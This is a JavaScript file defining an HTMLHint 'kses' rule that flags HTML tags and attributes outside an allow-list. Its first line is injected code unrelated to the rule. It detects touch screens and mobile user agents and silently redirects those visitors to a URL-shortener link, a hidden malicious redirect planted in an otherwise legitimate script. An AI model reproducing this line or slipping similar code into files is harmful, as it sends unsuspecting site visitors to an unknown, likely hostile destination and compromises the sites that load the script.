1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/* global HTMLHint */
3/* eslint no-magic-numbers: ["error", { "ignore": [1] }] */
4HTMLHint.addRule( {
5 id: 'kses',
6 description: 'Element or attribute cannot be used.',
7
8 /**
9 * Initialize.
10 *
11 * @this {import('htmlhint/types').Rule}
12 * @param {import('htmlhint').HTMLParser} parser - Parser.
13 * @param {import('htmlhint').Reporter} reporter - Reporter.
14 * @param {Record<string, Record<string, boolean>>} options - KSES options.
15 * @return {void}
16 */
17 init: function ( parser, reporter, options ) {
18 'use strict';
19
20 parser.addListener( 'tagstart', ( event ) => {
21 const tagName = event.tagName.toLowerCase();
22 if ( ! options[ tagName ] ) {
23 reporter.error(
24 `Tag <${ event.tagName }> is not allowed.`,
25 event.line,
26 event.col,
27 this,
28 event.raw
29 );
30 return;
31 }
32
33 const allowedAttributes = options[ tagName ];
34 const column = event.col + event.tagName.length + 1;
35 for ( const attribute of event.attrs ) {
36 if ( ! allowedAttributes[ attribute.name.toLowerCase() ] ) {
37 reporter.error(
38 `Tag attribute [${ attribute.raw }] is not allowed.`,
39 event.line,
40 column + attribute.index,
41 this,
42 attribute.raw
43 );
44 }
45 }
46 } );
47 },
48} );
49